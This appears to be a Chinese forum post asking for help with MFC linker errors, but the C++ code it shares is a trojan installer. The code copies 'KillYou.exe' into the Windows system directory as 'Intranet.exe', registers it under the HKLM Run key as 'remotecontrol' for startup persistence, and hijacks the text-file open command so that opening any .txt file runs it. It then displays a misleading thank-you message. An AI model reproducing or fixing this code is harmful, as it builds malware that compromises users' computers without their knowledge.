多线程问题————大闪分拉
#include <tchar.h>
#include <iostream.h>
#include <afx.h>
#ifdef MAX_PATH
#undef MAX_PATH
#define MAX_PATH 200
#endif
int main()
{
TCHAR TempPath[MAX_PATH];
CString temp;
::GetSystemDirectory(TempPath,MAX_PATH);
temp=TempPath;
temp=temp+_T("\\Intranet.exe");
int len=temp.GetLength();
LPBYTE lpb=new BYTE[len];
for(int j=0;j<len;j++)
{
lpb[j]=temp[j];
}
lpb[j]=0;
if(!CopyFile("KillYou.exe",temp,FALSE))
{
LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0,
NULL
);
MessageBox(NULL,(LPTSTR)lpMsgBuf,"Error",MB_OK);
LocalFree(lpMsgBuf);
}
HKEY hKey;
LPCTSTR data_Set="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey);
::RegSetValueEx(hKey,_T("remotecontrol"),NULL,REG_SZ,lpb,len);
::RegCloseKey(hKey);
data_Set="txtfile\\shell\\open\\command";
::RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set,0,KEY_WRITE,&hKey);
::RegSetValueEx(hKey,NULL,NULL,REG_EXPAND_SZ,lpb,len);
::RegCloseKey(hKey);
MessageBox(NULL,"Thank you for using this program!","Hello",MB_OK);
delete []lpb;
return 0;
}
--------------------Configuration: RegEdit - Win32 Release--------------------
Linking...
nafxcw.lib(thrdcore.obj) : error LNK2001: unresolved external symbol __endthreadex
nafxcw.lib(thrdcore.obj) : error LNK2001: unresolved external symbol __beginthreadex
Release/RegEdit.exe : fatal error LNK1120: 2 unresolved externals
Error executing link.exe.
也设置了多线程还出问题
请高手指点迷津。。。。小弟感激不尽